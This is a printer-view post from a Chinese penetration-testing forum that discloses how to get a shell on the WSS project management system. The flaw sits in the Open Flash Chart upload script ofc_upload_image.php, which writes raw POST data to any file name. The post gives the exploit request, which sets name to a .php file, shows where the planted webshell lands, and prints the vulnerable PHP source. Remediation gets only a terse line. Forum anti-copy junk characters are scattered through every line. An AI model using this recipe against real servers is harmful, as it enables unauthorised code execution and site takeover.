中国网络渗透测试联盟

标题: WSS项目管理系统Post get shell [打印本页]

作者: admin    时间: 2013-2-23 12:38
标题: WSS项目管理系统Post get shell
POST 数据漏洞文件执行任意后缀文件保存. @4 P( o* O4 R0 O/ O! V1 A3 u
漏洞文件/chart/php-ofc-library/ofc_upload_image.php0 V1 n/ z8 C% g1 w( \. N) U$ _
6 R% g! j0 \4 @% f/ V' p$ r, o! \/ l
利用:( S  J, F- P7 E/ ^$ A( Z9 o6 `
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名8 I! t) M" R) J; {

0 Y  m2 \  Y. H4 TPost任意数据6 k5 m& H6 [2 j1 G! a- |5 p
保存位置http://localhost/chart/tmp-upload-images/hfy.php. D9 Q. y! f9 H0 b) W! J
[attach]201[/attach]" f. R- B" F* m: q6 l+ M) M
[attach]202[/attach]
+ r* j3 }/ A7 I  x$ ~最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
: P7 q8 V, h2 {5 c
+ i9 D" ]5 `+ Y7 Q3 b<?php; J+ X& K- Z* \9 V

9 ?: }" I% `4 j6 ~/ q//
( Z$ E5 v* U/ o$ a# L// In Open Flash Chart -> save_image debug mode, you" J# ~- X( ]; f3 v0 R
// will see the 'echo' text in a new window.
4 d; ~- I, ^8 O  g3 t6 ^7 t//% z1 C* }& y! G, [( q  g5 V4 I

- t) W# ^8 p  `7 N& {+ B/*( F+ R5 Q/ U, v$ A2 O
! n1 N6 S! b% _, V* X5 T5 X
print_r( $_GET );
6 g) O0 ]9 u" A2 kprint_r( $_POST );
7 T2 `0 r' k' Xprint_r( $_FILES );
& o, e! P! r/ W( d4 x$ c( p: p. M! J
print_r( $GLOBALS );6 F1 |& H, y  S1 _( p
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
" G9 i1 |. Q5 q2 L6 m/ P! b1 h$ [1 |! `' z. `- u6 j& R/ c
*/
. y- {( |$ M* V; y& q- d; M3 A// default path for the image to be stored //
0 i0 x* L6 M' N- a1 j; O- y3 e$default_path = '../tmp-upload-images/';
7 K: t; D4 @( n7 x) [; R4 z" z. N" Q3 z% r! k
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
' u! V1 Q& `0 V5 o/ J; ~2 {) y( h0 a% `# N2 \" q: J" U9 `/ m3 K3 w
// full path to the saved image including filename //6 J1 h3 P- ?5 X7 f6 R+ D
$destination = $default_path . basename( $_GET[ 'name' ] ); 3 k% O  G2 y. D  j5 v

' f: e, J! N5 `/ A& g% `6 [echo 'Saving your image to: '. $destination;& }1 T8 i6 F. N5 r
// print_r( $_POST );3 s- `8 H7 ]% U- s5 w# n! N: ~
// print_r( $_SERVER );; n. [' w+ `; ?5 z. y, n
// echo $HTTP_RAW_POST_DATA;
+ \8 G( o) a- L  V
" ]4 X! ]3 l: F8 p1 i: M- L: D& `//
7 T  l' N6 o# x& H4 H" B// POST data is usually string data, but we are passing a RAW .png+ ^, b$ ^6 [" x, o, x% V) K& P: H
// so PHP is a bit confused and $_POST is empty. But it has saved# c! L* O- Q; i$ E/ f
// the raw bits into $HTTP_RAW_POST_DATA
/ h6 v% y2 J" X//5 n- j8 Q# z9 o2 H; C; X
3 A5 G8 C) I6 Y' k$ ^% x# I# I, f
$jfh = fopen($destination, 'w') or die("can't open file");! ~* v% `' @9 C* f
fwrite($jfh, $HTTP_RAW_POST_DATA);2 ^. Y# z6 u, f5 x
fclose($jfh);' E. D: A5 l" c- ^2 v7 e
/ B2 n1 P  r/ i
//- C" T1 X* a/ l! k
// LOOK:! F2 m: y9 b. L: Q! V4 U
//  t  ^6 }$ Z1 L$ e8 n
exit();* o' V% g" I! J" d2 f7 n# H% _6 l
//9 S1 _7 C& i0 W, |; R  E
// PHP5:
% s; R; L& }4 r% m+ `8 r* D( H* E//) `* n+ |% p: d" W' @

# g+ m; K, O: m
: U6 ~. {) A2 j// default path for the image to be stored //
! z( l$ I1 i/ X: w$default_path = 'tmp-upload-images/';9 J7 S6 {- q5 K: m2 q2 J1 [& n
& ~- @; P: s& s1 j
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
1 E) b8 }" C$ ~+ ~. q
, k3 U  `* w! Y// full path to the saved image including filename //% N& h, n/ a2 h0 g3 N
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); ) u9 b: L1 w- H( |% H( i* V; o
! ^7 z/ G4 @; ~
// move the image into the specified directory //
' v4 W4 a5 b0 c% W- @. hif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {4 y, L2 Y# ^5 T! M$ u
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
* P6 [9 p4 e6 L5 R, D4 ]' z: r4 f} else {
1 G/ k3 t8 w! P2 i7 _" p& w    echo "FILE UPLOAD FAILED";
$ O: _7 V9 a; `! B8 q" }}# ]/ c3 }% ^% H. \3 \- w* V  h

9 z( o% j, Q$ B# W7 N9 K: F( s# U  t- u+ }2 B& w9 Y/ d- u8 q% d
?># i; c# ^" h1 Z6 l1 }  C+ [, |/ z) U: u9 b
& N( a; t% \4 I& @5 o
0 U( G( A& [3 }: d/ `+ k
6 r; c7 v; s. O1 R+ f% c
9 ]4 T+ x; U  ~) L, ^
[attach]203[/attach]
. ]& ?& m4 R2 U$ [; u) A; H. `* ]. m0 ?. q5 ~/ t6 B
修复方案:
9 U6 |: H+ ?9 a1 X. @这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
& G! x/ ^- F0 j1 W; d3 `  c# z1 ?" s3 n, J  k4 ?

8 n9 \9 a7 c% x% c* y9 ]# _3 h8 q) s7 n

( D! k1 c! o! ^$ H: g




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2